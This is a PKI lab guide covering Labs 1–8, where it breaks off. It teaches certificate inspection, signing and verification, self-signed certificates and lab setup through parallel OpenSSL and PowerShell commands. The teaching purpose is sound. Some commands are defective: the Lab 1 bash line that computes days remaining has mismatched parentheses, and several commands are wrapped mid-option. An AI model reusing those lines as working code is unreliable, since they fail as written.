

PKI from Zero: Lab Guide

One hands-on lab per chapter, from reading your first certificate to diagnosing multi-cause trust failures. Every lab shows the Linux path (OpenSSL 3.x) and the Windows path (PowerShell, certutil, AD CS) side by side.

How to use this guide

Work the labs in order. Later labs reuse keys, certificates and CAs built earlier; each lab's **Before you start** list names exactly what it needs. Every lab follows the same shape:

Objective	What you will be able to do when the lab is complete.
Before you start	Hosts, artifacts from earlier labs, and tools that must be ready.
Steps	Numbered actions. Where commands differ, a Linux block and a Windows block appear together — run the one for your track.
Expected output	Abridged sample output. Serials, dates and fingerprints will differ; the shape should not.
If it goes wrong	The failures learners hit most often, with the fix.
Check your work	Questions to answer in your lab notebook. Answers are in Appendix C — attempt them first.

Ground rules

- Run every lab inside the isolated lab from Lab 4. Never add lab roots to a production trust store, and never test against systems you do not own or are not authorized to touch.
- All lab names live under `lab.test`, a reserved name that can never resolve on the public internet.
- Snapshot before any lab that breaks trust on purpose (Labs 18, 24 and 28–31). Revert rather than "undo by hand".

- Treat lab private keys as if they were real: restrictive permissions, no copies in chat, email or source control.

Lab topology

Host	Role	Linux track	Windows track
root01	Offline root CA	Ubuntu 24.04, no network after Lab 15	Windows Server 2022, standalone (not domain-joined)
ca01	Issuing CA	Ubuntu 24.04 + openssl ca	Windows Server 2022, AD CS Enterprise Subordinate CA
dc01	Directory (Labs 21–22)	Not required	Windows Server 2022, AD DS for lab.test
web01	Web / TLS server	Ubuntu 24.04 + nginx	Windows Server 2022 + IIS
cli01	Client / workstation	Ubuntu 24.04 desktop	Windows 11, domain-joined from Lab 21

Labs 1–14 need only cli01. Full build instructions are in Appendix A.

Conventions

- Linux commands run in bash from ~/pki-lab; Windows commands run in an elevated PowerShell 7 session from C:\pki-lab. Prompts are omitted.
- <angle-brackets> mark values you substitute. ... in output marks lines removed for brevity.
- Files follow <subject>.<artifact>.<encoding> — for example www.lab.test.key.pem, www.lab.test.csr.pem, www.lab.test.crt.der, www.lab.test.fullchain.pem. You set this up in Lab 4.

Foundations

What a certificate is, the cryptography underneath it, and the lab and mindset every later lab depends on.

Labs 01–05

LAB 01 Chapter 1 • 20 min

Inspect a website certificate

OBJECTIVE

Retrieve the certificate of a website you use and identify its subject, issuer and validity dates — and name the three parties in the transaction.

BEFORE YOU START

- Any machine with a browser and internet access (cli01 is fine).
- Windows track: the Get-RemoteCert function from Appendix A.5 in your PowerShell profile.
- A notes file: notes/lab01.md.

STEPS

- 1 Open a site you use daily in a browser. Open the certificate viewer (in Chromium browsers: the site-information icon left of the address → Connection is secure → Certificate is valid). Note the subject, issuer and the two validity dates exactly as shown.
-
- 2 Retrieve the same certificate from the command line. Replace the host with your chosen site.

LINUX • OPENSLL / BASH

```
H=www.wikipedia.org
openssl s_client -connect $H:443 -servername $H </dev/null 2>/dev/null \
| openssl x509 -noout -subject -issuer -dates
```

WINDOWS • POWERSHELL

```
$h = 'www.wikipedia.org'
$c = Get-RemoteCert $h
$c | Format-List Subject, Issuer, NotBefore, NotAfter
```

EXPECTED OUTPUT • LINUX

```
subject=CN=*.wikipedia.org
issuer=C=US, O=<CA organization>, CN=<intermediate CA name>
notBefore=<date> GMT
notAfter=<date> GMT
```

EXPECTED OUTPUT • WINDOWS

```
Subject    : CN=*.wikipedia.org
Issuer     : CN=<intermediate CA name>, O=<CA organization>, C=US
NotBefore  : <date>
NotAfter   : <date>
```

-
- 3 List every name the certificate covers. The browser checks these, not the subject CN.

LINUX • OPENSSL / BASH

```
openssl s_client -connect $H:443 -servername $H </dev/null 2>/dev/null \
| openssl x509 -noout -ext subjectAltName
```

WINDOWS • POWERSHELL

```
($c.Extensions | Where-Object { $_.Oid.Value -eq '2.5.29.17' }).Format($true)
```

EXPECTED OUTPUT

```
X509v3 Subject Alternative Name:
  DNS:*.wikipedia.org, DNS:wikipedia.org, DNS:*.m.wikipedia.org, ...
```

-
- 4 Work out the total lifetime and how many days remain.

LINUX • OPENSSL / BASH

```
end=$(openssl s_client -connect $H:443 -servername $H </dev/null 2>/dev/null |
openssl x509 -noout -enddate | cut -d= -f2)
echo "$(( $(date -d "$end" +%s) - $(date +%s) ) / 86400 ) days left"
```

WINDOWS • POWERSHELL

```
"Lifetime: {0} days" -f ($c.NotAfter - $c.NotBefore).Days
"Remaining: {0} days" -f ($c.NotAfter - (Get-Date)).Days
```

-
- 5 Repeat steps 2–4 for two more sites (for example your bank and your email provider). In notes/lab01.md record, for each site: subject, SAN count, issuer, notBefore, notAfter, lifetime in days.
-

IF IT GOES WRONG

openssl s_client never returns	It is waiting for input. Keep the </dev/null redirect, or press Ctrl+C.
You get a certificate for a CDN or a different name	SNI was not sent. Include -servername with the same host as -connect.
Get-RemoteCert is not recognized	Add the Appendix A.5 function to \$PROFILE and open a new PowerShell window.
Browser and command line show different certificates	Large sites serve different certificates per region or edge node, and a corporate proxy may substitute its own (see Lab 24). Check the issuer on both.

CHECK YOUR WORK

1. For one of your sites, name the subject, the relying party and the issuer.
2. What does this certificate actually promise, and what common assumption does it not support?
3. What lifetimes did you record, and why would a CA deliberately keep them short?

Hash, sign and verify by hand

OBJECTIVE

Generate a key pair, fingerprint a file with a hash, sign it with the private key, and verify the signature with only the public key — then watch verification fail after tampering.

BEFORE YOU START

- Folder layout from Appendix A.3 (Lab 4 explains it; create it now).
- Linux: OpenSSL 3.x. Windows: PowerShell 7.4 or later (for the .NET PEM methods).

STEPS

- 1 Generate a 3072-bit RSA key pair and export the public half. Both tracks use RSA with PKCS#1 v1.5 padding so signatures verify across platforms.

LINUX • OPENSSL / BASH

```
openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:3072 -out
keys/alice.key.pem
openssl pkey -in keys/alice.key.pem -pubout -out keys/alice.pub.pem
head -1 keys/alice.key.pem keys/alice.pub.pem
```

WINDOWS • POWERSHELL

```
$rsa = [Security.Cryptography.RSA]::Create(3072)
Set-Content C:\pki-lab\keys\alice.key.pem $rsa.ExportPkcs8PrivateKeyPem()
Set-Content C:\pki-lab\keys\alice.pub.pem $rsa.ExportSubjectPublicKeyInfoPem()
Get-Content C:\pki-lab\keys\alice.key.pem, C:\pki-lab\keys\alice.pub.pem -
TotalCount 1
```

EXPECTED OUTPUT

```
-----BEGIN PRIVATE KEY-----
-----BEGIN PUBLIC KEY-----
```

- 2 Create a message and hash it with SHA-256.

LINUX • OPENSSL / BASH

```
echo "Transfer 100 to Bob" > notes/msg.txt
openssl dgst -sha256 notes/msg.txt
```

WINDOWS • POWERSHELL

```
Set-Content C:\pki-lab\notes\msg.txt "Transfer 100 to Bob"
Get-FileHash C:\pki-lab\notes\msg.txt -Algorithm SHA256
```

EXPECTED OUTPUT

```
SHA2-256(notes/msg.txt)= 3f1c...e09a      (64 hex characters = 256 bits)
```

- 3 Change one character (100 → 900), hash again, and compare. Then change it back and confirm the original hash returns.

LINUX • OPENSLL / BASH

```
sed -i 's/100/900/' notes/msg.txt && openssl dgst -sha256 notes/msg.txt
sed -i 's/900/100/' notes/msg.txt && openssl dgst -sha256 notes/msg.txt
```

WINDOWS • POWERSHELL

```
(Get-Content C:\pki-lab\notes\msg.txt) -replace '100','900' | Set-Content
C:\pki-lab\notes\msg.txt
(Get-FileHash C:\pki-lab\notes\msg.txt).Hash
(Get-Content C:\pki-lab\notes\msg.txt) -replace '900','100' | Set-Content
C:\pki-lab\notes\msg.txt
(Get-FileHash C:\pki-lab\notes\msg.txt).Hash
```

- 4 Sign the message: the tool hashes it and transforms the hash with the private key.

LINUX • OPENSLL / BASH

```
openssl dgst -sha256 -sign keys/alice.key.pem -out notes/msg.sig notes/msg.txt
ls -l notes/msg.sig
```

WINDOWS • POWERSHELL

```
$data = [IO.File]::ReadAllBytes('C:\pki-lab\notes\msg.txt')
$sha = [Security.Cryptography.HashAlgorithmName]::SHA256
$pad = [Security.Cryptography.RSASignaturePadding]::Pkcs1
$sig = $rsa.SignData($data, $sha, $pad)
[IO.File]::WriteAllBytes('C:\pki-lab\notes\msg.sig', $sig)
$sig.Length
```

EXPECTED OUTPUT

```
384 bytes (a 3072-bit RSA signature is always 384 bytes)
```

- 5 Verify using only the public key, as a stranger would.

LINUX • OPENSSL / BASH

```
openssl dgst -sha256 -verify keys/alice.pub.pem -signature notes/msg.sig  
notes/msg.txt
```

WINDOWS • POWERSHELL

```
$pub = [Security.Cryptography.RSA]::Create()  
$pub.ImportFromPem((Get-Content C:\pki-lab\keys\alice.pub.pem -Raw))  
$pub.VerifyData([IO.File]::ReadAllBytes('C:\pki-lab\notes\msg.txt'), $sig,  
$sha, $pad)
```

EXPECTED OUTPUT • LINUX

```
Verified OK
```

EXPECTED OUTPUT • WINDOWS

```
True
```

-
- 6 Tamper with the message again (100 → 900) and re-run step 5. Restore the file afterwards.

EXPECTED OUTPUT • LINUX

```
Verification failure
```

EXPECTED OUTPUT • WINDOWS

```
False
```

-
- 7 Optional — symmetric contrast. Encrypt and decrypt the file with a shared passphrase, and note that anyone who holds the passphrase can both read and forge.

BOTH TRACKS

```
openssl enc -aes-256-cbc -pbkdf2 -in notes/msg.txt -out notes/msg.enc  
openssl enc -d -aes-256-cbc -pbkdf2 -in notes/msg.enc  
# Windows: run the same lines with the OpenSSL build from Appendix A.2
```

IF IT GOES WRONG

Windows: ExportPkcs8PrivateKeyPem does not exist	You are in Windows PowerShell 5.1 (.NET Framework). Run pwsh (PowerShell 7.4+).
Verification fails on an untouched file	The file was re-saved with a different encoding or line ending (common when moving between Windows and Linux). Hash both copies; if they differ, the signature is correctly failing.
unable to load key / Could not read private key	You passed the public key to -sign, or the private key to -verify. -sign takes the private key; -verify takes the public key.

CHECK YOUR WORK

1. Why did a one-character change produce a completely different hash, and what does that let a verifier conclude?
2. You published the hash of msg.txt. Does it reveal the contents? What property of hashing is at work?
3. Which key produced the signature and which verified it? What could someone do if they obtained alice.key.pem?
4. Why would you never sign a large file directly with RSA, and what does the tool sign instead?

Create and dissect a self-signed certificate

OBJECTIVE

Create a self-signed certificate, see that its subject and issuer are identical, and demonstrate that it verifies only against itself — so it asserts nothing to a stranger.

BEFORE YOU START

- keys/alice.key.pem from Lab 2 (Linux track).

STEPS

- 1 Create a self-signed certificate valid for 30 days.

LINUX • OPENSSL / BASH

```
openssl req -x509 -new -key keys/alice.key.pem -sha256 -days 30 \
  -subj "/CN=Alice Lab/O=PKI Lab" -out certs/alice.crt.pem
```

WINDOWS • POWERSHELL

```
$c = New-SelfSignedCertificate -Subject 'CN=Alice Lab, O=PKI Lab' -
KeyAlgorithm RSA -KeyLength 3072 -NotAfter (Get-Date).AddDays(30) -
CertStoreLocation Cert:\CurrentUser\My
Export-Certificate -Cert $c -FilePath C:\pki-lab\certs\alice.crt.der | Out-
Null
```

- 2 Compare subject and issuer.

LINUX • OPENSSL / BASH

```
openssl x509 -in certs/alice.crt.pem -noout -subject -issuer -dates -ext
basicConstraints
```

WINDOWS • POWERSHELL

```
$c | Format-List Subject, Issuer, NotBefore, NotAfter, Thumbprint
```

EXPECTED OUTPUT • LINUX

```
subject=CN=Alice Lab, O=PKI Lab
issuer=CN=Alice Lab, O=PKI Lab
notBefore=...
notAfter=...
X509v3 Basic Constraints: critical
CA:TRUE
```

EXPECTED OUTPUT • WINDOWS

```
Subject      : CN=Alice Lab, O=PKI Lab
Issuer       : CN=Alice Lab, O=PKI Lab
...
```

3 Ask the platform to validate it with its normal trust store.

LINUX • OPENSSL / BASH

```
openssl verify certs/alice.crt.pem
```

WINDOWS • POWERSHELL

```
certutil -verify C:\pki-lab\certs\alice.crt.der | Select-String 'CERT_E|0x800'
```

EXPECTED OUTPUT • LINUX

```
CN=Alice Lab, O=PKI Lab
error 18 at 0 depth lookup: self-signed certificate
error certs/alice.crt.pem: verification failed
```

EXPECTED OUTPUT • WINDOWS

```
A certificate chain processed, but terminated in a root certificate which is
not trusted by the trust provider. 0x800b0109 (-2146762487
CERT_E_UNTRUSTEDROOT)
```

4 Now tell the verifier to trust the certificate itself as the anchor.

LINUX • OPENSSL / BASH

```
openssl verify -CAfile certs/alice.crt.pem certs/alice.crt.pem
```

WINDOWS • POWERSHELL

```
# Trust it for the current user only, verify, then remove it
Import-Certificate C:\pki-lab\certs\alice.crt.der -CertStoreLocation
Cert:\CurrentUser\Root
certutil -user -verify C:\pki-lab\certs\alice.crt.der | Select-String
'completed'
Get-ChildItem Cert:\CurrentUser\Root | Where-Object Subject -eq 'CN=Alice Lab,
O=PKI Lab' | Remove-Item
```

EXPECTED OUTPUT • LINUX

```
certs/alice.crt.pem: OK
```

- 5 Prove that a self-signed certificate asserts nothing: create one claiming to be a bank you do not own. Note that the tools let you — nothing checked the claim.

LINUX • OPENSSL / BASH

```
openssl req -x509 -new -newkey rsa:2048 -noenc -keyout /tmp/fake.key -days 1 \
  -subj "/CN=www.bank.example/O=Totally The Bank" -out /tmp/fake.crt
openssl x509 -in /tmp/fake.crt -noout -subject; rm /tmp/fake.*
```

WINDOWS • POWERSHELL

```
$f = New-SelfSignedCertificate -DnsName www.bank.example -Subject
'CN=www.bank.example, O=Totally The Bank' -CertStoreLocation
Cert:\CurrentUser\My
$f.Subject; $f | Remove-Item
```

- 6 In notes/lab03.md list what the certificate asserts (a name, a key, a period) and what it proves (only that whoever made it holds the matching private key).

IF IT GOES WRONG

Linux: req prompts for a passphrase	The key is encrypted. Enter its passphrase, or use an unencrypted lab key for this exercise.
Windows: the dialog "Do you want to install this certificate?" appears	Expected when adding to CurrentUser\Root. Read the warning — it is the operating system telling you this act creates trust. Click Yes for this lab only.
Verify returns OK in step 3	The certificate is already in your trust store from an earlier attempt. Remove it and repeat.

CHECK YOUR WORK

1. Why did verification fail in step 3 but succeed in step 4? What changed — the certificate or the verifier?
2. What would it take for a stranger's browser to trust alice.crt.pem, and why is that a bad idea for a public site?
3. Name two legitimate uses of a self-signed certificate.

Stand up the PKI lab

OBJECTIVE

Build an isolated lab, verify the crypto tooling, adopt a key-and-certificate filing convention, and practice the snapshot-and-revert habit that makes deliberate breakage safe.

BEFORE YOU START

- A hypervisor with snapshot support and ~24 GB free RAM for the full Windows track (8 GB is enough for Linux-only).
- Installation media: Ubuntu 24.04 LTS; Windows Server 2022 and Windows 11 evaluation ISOs for the Windows track.

STEPS

- 1 Create an internal or host-only virtual network with no route to production. Create the VMs in the topology table. Labs 1–14 need only cli01; build the rest now or when first needed.

- 2 Install the tooling from Appendix A.2, then verify versions.

LINUX • OPENSLL / BASH

```
openssl version
openssl list -digest-algorithms | grep -i sha256 | head -1
```

WINDOWS • POWERSHELL

```
$PSVersionTable.PSVersion.ToString()
(certutil -? | Select-Object -First 1)
curl.exe --version | Select-Object -First 1
```

EXPECTED OUTPUT • LINUX

```
OpenSSL 3.0.13 30 Jan 2024 (Library: OpenSSL 3.0.13 30 Jan 2024)
SHA2-256 ...
```

EXPECTED OUTPUT • WINDOWS

```
7.4.x
Usage:
curl 8.x.x (Windows) libcurl/8.x.x Schannel ...
```

- 3 Create the folder layout and lock down the key folders (Appendix A.3). Confirm the permissions.

LINUX • OPENSSSL / BASH

```
ls -ld ~/pki-lab/keys ~/pki-lab/int-ca/private
```

WINDOWS • POWERSHELL

```
icacls C:\pki-lab\keys
```

EXPECTED OUTPUT • LINUX

```
drwx----- 2 you you 4096 ... /home/you/pki-lab/keys
drwx----- 2 you you 4096 ... /home/you/pki-lab/int-ca/private
```

EXPECTED OUTPUT • WINDOWS

```
C:\pki-lab\keys LAB\you:(OI)(CI)(F)
                NT AUTHORITY\SYSTEM:(OI)(CI)(F)
```

- 4 Write your filing convention to notes/CONVENTIONS.md. Start from this and keep it for the rest of the course.

BOTH TRACKS

```
Pattern: <subject>.<artifact>.<encoding>
Artifacts: key | pub | csr | crt | chain | fullchain | crl | p12
Encodings: pem | der
Examples: www.lab.test.key.pem    www.lab.test.csr.pem    www.lab.test.crt.pem
          www.lab.test.fullchain.pem (leaf + intermediates, leaf first)
          lab-int-ca.crl.der
Rules:    keys/ and */private/ only for private keys
          never reuse a key file name for a new key – rekey = new name with
          date suffix
          one notes/labNN.md per lab: commands run, fingerprints, what broke
```

- 5 Add the hosts entries from Appendix A.4 on every VM and confirm resolution.

LINUX • OPENSSSL / BASH

```
getent hosts www.lab.test ca01.lab.test
```

WINDOWS • POWERSHELL

```
[Net.Dns]::GetHostAddresses('www.lab.test')
```

- 6 Smoke test: create a throwaway key and certificate following the convention, record its fingerprint, then delete both.

LINUX • OPENSLL / BASH

```
openssl req -x509 -new -newkey ec -pkeyopt ec_paramgen_curve:P-256 -noenc \
  -keyout keys/smoke.lab.test.key.pem -out certs/smoke.lab.test.crt.pem -subj
/CN=smoke.lab.test -days 1
openssl x509 -in certs/smoke.lab.test.crt.pem -noout -fingerprint -sha256 |
tee -a notes/lab04.md
rm keys/smoke.lab.test.key.pem certs/smoke.lab.test.crt.pem
```

WINDOWS • POWERSHELL

```
$s = New-SelfSignedCertificate -DnsName smoke.lab.test -KeyAlgorithm
ECDSA_nistP256 -NotAfter (Get-Date).AddDays(1) -CertStoreLocation
Cert:\CurrentUser\My
$s.GetCertHashString('SHA256') | Add-Content C:\pki-lab\notes\lab04.md
$s | Remove-Item -DeleteKey
```

- 7 Snapshot every VM as baseline.

LINUX • OPENSLL / BASH

```
VBoxManage snapshot cli01 take baseline      # VirtualBox
virsh snapshot-create-as cli01 baseline      # KVM/libvirt
```

WINDOWS • POWERSHELL

```
Get-VM | ForEach-Object { Checkpoint-VM -VM $_ -SnapshotName baseline } #
Hyper-V
```

- 8 Reset drill: on cli01 delete ~/pki-lab/notes (or C:\pki-lab\notes), revert to baseline, and confirm the folder is back. Time how long the revert takes — you will do this often.

LINUX • OPENSLL / BASH

```
VBoxManage snapshot cli01 restore baseline
```

WINDOWS • POWERSHELL

```
Restore-VMCheckpoint -VMName cli01 -Name baseline -Confirm:$false
```

IF IT GOES WRONG

OpenSSL reports 1.1.x	An old distribution or a second OpenSSL on PATH. Run which -a openssl; use Ubuntu 24.04 or later. -noenc and several verify options need 3.0+.
-noenc: unknown option	Same cause as above. On 1.1.x the old spelling is -nodes, but upgrade instead — later labs assume 3.x.
Hyper-V checkpoint fails for a running VM	Production checkpoints require integration services; use Set-VM -CheckpointType Standard for lab VMs.
VMs can reach the internet after setup	The adapter is NAT/bridged. Switch to internal/host-only; re-enable NAT only for patching, then switch back.

CHECK YOUR WORK

1. Why must experiments in this course never run against production PKI? Give one specific way a lab action could cause a real outage.
2. Why does the convention forbid reusing a key file name after rekeying?
3. Which labs will you snapshot before, and why is reverting better than undoing changes by hand?

Write a diagnostic plan

OBJECTIVE

Turn a vague certificate complaint into a written diagnostic plan: define the failure, name the complaining party, list the evidence to gather, rank hypotheses, and choose the first validation check to test.

BEFORE YOU START

- Chapter 5 validation checklist: signature, chain, trust anchor, dates, name, revocation, usage.
- notes/lab05.md.

STEPS

- 1 Read the scenario twice. Do not start forming a fix yet.

BOTH TRACKS

SCENARIO

Since Monday, staff on company laptops opening `https://intranet.lab.test` see "Your connection is not private – NET::ERR_CERT_AUTHORITY_INVALID".
IT desktops open the same URL with no warning.
The web team renewed the intranet certificate on Friday.
Nobody has changed the laptops.

- 2 Define the failure in one sentence that a colleague could reproduce: who, doing what, sees which exact error, since when, and where it does not happen.
- 3 Answer the three opening questions in writing: whose trust is failing (which relying party), which certificate (leaf, intermediate or root), and at which check the error string points.
- 4 List the evidence you would collect before changing anything, and the command for each. Include what the server presents and what a failing laptop trusts.

LINUX • OPENSLL / BASH

```
openssl s_client -connect intranet.lab.test:443 -servername intranet.lab.test
-showcerts </dev/null
openssl s_client -connect intranet.lab.test:443 -servername intranet.lab.test
</dev/null 2>/dev/null \
    | openssl x509 -noout -issuer -serial -dates
```

WINDOWS • POWERSHELL

```
# Run on a failing laptop AND on a working desktop, then compare
Get-RemoteCert intranet.lab.test -Chain | Format-Table Subject, Issuer,
NotAfter
Get-ChildItem Cert:\LocalMachine\Root, Cert:\LocalMachine\CA | Where-Object
Subject -match 'Lab'
```

-
- 5 Write at least three hypotheses, each tied to one checklist item, and state what evidence would confirm or eliminate it.
 - 6 Pick the check you will test first and justify the order. Then write the full plan using this template.
-

BOTH TRACKS

```
FAILURE:      <one sentence>
PARTY:        <relying party whose trust fails>
CERTIFICATE:  <which cert in the chain is suspect>
CHECK:        <checklist item the error maps to>
EVIDENCE:     <what to capture, from where>
HYPOTHESES:   1. ... confirms if ... eliminates if ...
               2. ...
               3. ...
FIRST TEST:   <single change or observation, and why first>
DO NOT:       <tempting fixes you are ruling out, and why>
```

-
- 7 Add a DO NOT section: at minimum, "tell users to click through" and "push trust for whatever the server sends". Explain why each hides the fault rather than fixing it.
-

IF IT GOES WRONG

Your plan starts with "reinstall the certificate"

That is a fix, not a test. Rewrite the first step as an observation that distinguishes between hypotheses.

All hypotheses point at the same check

Force yourself to consider the other six checklist items; eliminate each with a reason.

CHECK YOUR WORK

1. Which party is complaining, and which validation check does ERR_CERT_AUTHORITY_INVALID point at?
2. What are the two most likely hypotheses, and what single observation separates them?
3. Why do the working IT desktops matter so much as evidence?

Anatomy of a Certificate

Fields, extensions, file formats, keys and requests — until you can read any certificate or chain at speed.

Labs 06–11

LAB 06 Chapter 6 • 40 min

Decode a certificate field by field

OBJECTIVE

Decode a real certificate to text, explain the purpose of every core field, and show that altering a single byte invalidates the issuer's signature.

BEFORE YOU START

- Internet access from cli01.
- Lab 1 complete (choose one of the sites you inspected).

STEPS

- 1 Save the site's leaf and its issuer to files.

LINUX • OPENSSSL / BASH

```
H=www.wikipedia.org
openssl s_client -connect $H:443 -servername $H -showcerts </dev/null
2>/dev/null \
    | awk '/BEGIN CERT/{n++; f=sprintf("chains/site-%d.pem", n)} /BEGIN
CERT/,/END CERT/{print > f}'
cp chains/site-1.pem certs/site.crt.pem; cp chains/site-2.pem certs/site-
issuer.crt.pem
```

WINDOWS • POWERSHELL

```
$h = 'www.wikipedia.org'
$chain = @(Get-RemoteCert $h -Chain)
Export-Certificate -Cert $chain[0] -FilePath C:\pki-lab\certs\site.crt.der |
Out-Null
Export-Certificate -Cert $chain[1] -FilePath C:\pki-lab\certs\site-
issuer.crt.der | Out-Null
```

2 Decode the leaf in full.

LINUX • OPENSSSL / BASH

```
openssl x509 -in certs/site.crt.pem -noout -text | less
```

WINDOWS • POWERSHELL

```
certutil -dump C:\pki-lab\certs\site.crt.der | more
```

EXPECTED OUTPUT • LINUX

```
Certificate:
  Data:
    Version: 3 (0x2)
    Serial Number: 04:a1:...:9c
    Signature Algorithm: ecdsa-with-SHA256
    Issuer: C=US, O=..., CN=...
    Validity
      Not Before: ...
      Not After : ...
    Subject: CN=*.wikipedia.org
    Subject Public Key Info:
      Public Key Algorithm: id-ecPublicKey
      Public-Key: (256 bit)
    X509v3 extensions: ...
    Signature Algorithm: ecdsa-with-SHA256
    Signature Value: 30:45:02:21:...
```

3 Extract each core field on its own and write one line in notes/lab06.md explaining what each is for.

LINUX • OPENSSSL / BASH

```
openssl x509 -in certs/site.crt.pem -noout -serial
openssl x509 -in certs/site.crt.pem -noout -issuer -subject -nameopt multiline
openssl x509 -in certs/site.crt.pem -noout -startdate -enddate
openssl x509 -in certs/site.crt.pem -noout -pubkey
```

WINDOWS • POWERSHELL

```
$x = [Security.Cryptography.X509Certificates.X509Certificate2]::new('C:\pki-lab\certs\site.crt.der')
$x | Format-List Version, SerialNumber, SignatureAlgorithm, Issuer, Subject, NotBefore, NotAfter
$x.PublicKey.Oid.FriendlyName; $x.PublicKey.EncodedKeyValue.RawData.Length
```

4 Confirm the issuer's public key verifies the leaf's signature (one link only).

LINUX • OPENSSL / BASH

```
openssl verify -partial_chain -trusted certs/site-issuer.crt.pem
certs/site.crt.pem
```

WINDOWS • POWERSHELL

```
$i = [Security.Cryptography.X509Certificates.X509Certificate2]::new('C:\pki-
lab\certs\site-issuer.crt.der')
$ch = [Security.Cryptography.X509Certificates.X509Chain]::new()
$ch.ChainPolicy.RevocationMode = 'NoCheck'
$ch.ChainPolicy.ExtraStore.Add($i) | Out-Null
$ch.Build($x); $ch.ChainStatus | Select-Object Status
```

EXPECTED OUTPUT • LINUX

```
certs/site.crt.pem: OK
```

EXPECTED OUTPUT • WINDOWS

```
True
```

5 Tamper: flip one byte near the end of the DER (inside the signature) and verify again.

LINUX • OPENSSL / BASH

```
openssl x509 -in certs/site.crt.pem -outform DER -out /tmp/t.der
sz=$(stat -c%s /tmp/t.der); printf '\x00' | dd of=/tmp/t.der bs=1 seek=$((sz-
8)) conv=notrunc 2>/dev/null
openssl x509 -inform DER -in /tmp/t.der -out /tmp/t.pem
openssl verify -partial_chain -trusted certs/site-issuer.crt.pem /tmp/t.pem
```

WINDOWS • POWERSHELL

```
$b = [IO.File]::ReadAllBytes('C:\pki-lab\certs\site.crt.der'); $b[$b.Length-8]
= 0
[IO.File]::WriteAllBytes("$env:TEMP\t.der", $b)
certutil -verify "$env:TEMP\t.der" | Select-String 'TRUST_E|0x8009'
```

EXPECTED OUTPUT • LINUX

```
error 7 at 0 depth lookup: certificate signature failure
```

EXPECTED OUTPUT • WINDOWS

```
... 0x80096004 (-2146869244 TRUST_E_CERT_SIGNATURE)
```

IF IT GOES WRONG

awk wrote only site-1.pem

The server sent a single certificate (a broken chain — see Lab 11). Choose another site for this lab and note this one for later.

Tampered file will not parse at all

The byte landed in the ASN.1 structure rather than the signature bits. Choose a smaller offset from the end (sz-4) and retry.

certutil -dump shows the serial in a different order

certutil prints serial bytes as stored; .NET SerialNumber is big-endian hex. They are the same value.

CHECK YOUR WORK

1. Which fields does the issuer's signature cover? Is the signature itself covered?
2. Why must a serial number be unique per issuer, and which later process depends on that?
3. Which two fields are the most common single cause of certificate outages?
4. The tampered certificate still showed the same subject and dates. Why did validation fail anyway?

Compare leaf and CA extensions

OBJECTIVE

Examine the extensions on a public leaf certificate and on its issuing CA certificate, and explain what each is permitted to do and which extension enforces it.

BEFORE YOU START

- certs/site.crt.pem and certs/site-issuer.crt.pem (or .der) from Lab 6.

STEPS

- 1 List the leaf's extensions and their critical flags.

LINUX • OPENSSL / BASH

```
openssl x509 -in certs/site.crt.pem -noout -ext  
basicConstraints,keyUsage,extendedKeyUsage,subjectAltName,subjectKeyIdentifier  
,authorityKeyIdentifier,crlDistributionPoints,authorityInfoAccess
```

WINDOWS • POWERSHELL

```
function Show-Ext($c) { $c.Extensions | ForEach-Object { '--- {0} (critical=  
{1})' -f $_.Oid.FriendlyName, $_.Critical; $_.Format($true) } }  
Show-Ext $x
```

EXPECTED OUTPUT

```
X509v3 Basic Constraints: critical  
    CA:FALSE  
X509v3 Key Usage: critical  
    Digital Signature  
X509v3 Extended Key Usage:  
    TLS Web Server Authentication  
X509v3 Subject Alternative Name:  
    DNS:*.wikipedia.org, DNS:wikipedia.org, ...  
Authority Information Access:  
    OCSP - URI:http://...    CA Issuers - URI:http://...
```

- 2 Repeat for the issuing CA certificate.

LINUX • OPENSLL / BASH

```
openssl x509 -in certs/site-issuer.crt.pem -noout -ext  
basicConstraints,keyUsage,extendedKeyUsage,subjectKeyIdentifier,authorityKeyId  
entifier
```

WINDOWS • POWERSHELL

```
Show-Ext $i
```

EXPECTED OUTPUT

```
X509v3 Basic Constraints: critical  
    CA:TRUE, pathlen:0  
X509v3 Key Usage: critical  
    Digital Signature, Certificate Sign, CRL Sign  
X509v3 Subject Key Identifier:  
    9A:3F:...
```

- 3 Confirm the chain link by identifier: the leaf's Authority Key Identifier must equal the issuer's Subject Key Identifier.

LINUX • OPENSLL / BASH

```
openssl x509 -in certs/site.crt.pem -noout -ext authorityKeyIdentifier  
openssl x509 -in certs/site-issuer.crt.pem -noout -ext subjectKeyIdentifier
```

WINDOWS • POWERSHELL

```
($x.Extensions | ? { $_.Oid.Value -eq '2.5.29.35' }).Format($false)  
($i.Extensions | ? { $_.Oid.Value -eq '2.5.29.14' }).Format($false)
```

- 4 Ask the tools what each certificate may be used for.

LINUX • OPENSLL / BASH

```
openssl x509 -in certs/site.crt.pem -noout -purpose | grep -E 'SSL server|SSL  
client|CA :'  
openssl x509 -in certs/site-issuer.crt.pem -noout -purpose | grep -E 'SSL  
server CA|SSL client CA'
```

WINDOWS • POWERSHELL

```
$x.Extensions | ? { $_ -is  
[Security.Cryptography.X509Certificates.X509EnhancedKeyUsageExtension] } | % {  
$_EnhancedKeyUsages }
```

EXPECTED OUTPUT • LINUX

```
SSL server : Yes
SSL server CA : No
...
SSL server CA : Yes
```

-
- 5 In notes/lab07.md build a two-column comparison (leaf | CA) for Basic Constraints, Key Usage, EKU, SAN, SKI/AKI, CRL DP and AIA. Mark which are critical.
-

IF IT GOES WRONG

-ext: unknown option	OpenSSL is older than 1.1.1. Use -text and read the extensions section instead, then upgrade.
The CA certificate has no EKU at all	Normal for many CAs: absence of EKU means no purpose restriction at that level. Some public intermediates do carry serverAuth/clientAuth EKUs to constrain what they may issue.
SKI and AKI differ	You exported the wrong certificate as issuer (for example a cross-signed variant). Re-split the chain and compare again.

CHECK YOUR WORK

1. Which extension prevents the leaf from signing other certificates, and why is it marked critical?
2. The leaf's subject CN is one name, but the SAN lists several. Which does a browser use, and why?
3. What does pathlen:0 on the issuing CA mean?
4. What must a relying party do with a critical extension it does not understand?

Convert between every major format

OBJECTIVE

Convert one certificate (and its key) between PEM, DER, PKCS#7 and PKCS#12, recognize each on sight, and prove every conversion preserved the right contents — and only those.

BEFORE YOU START

- chains/site-1.pem and chains/site-2.pem from Lab 6 (for the PKCS#7 bundle).

STEPS

1 Create a lab key and certificate to convert.

LINUX • OPENSSL / BASH

```
openssl req -x509 -new -newkey ec -pkeyopt ec_paramgen_curve:P-256 -noenc -
days 30 \
  -subj /CN=fmt.lab.test -keyout keys/fmt.lab.test.key.pem -out
certs/fmt.lab.test.crt.pem
```

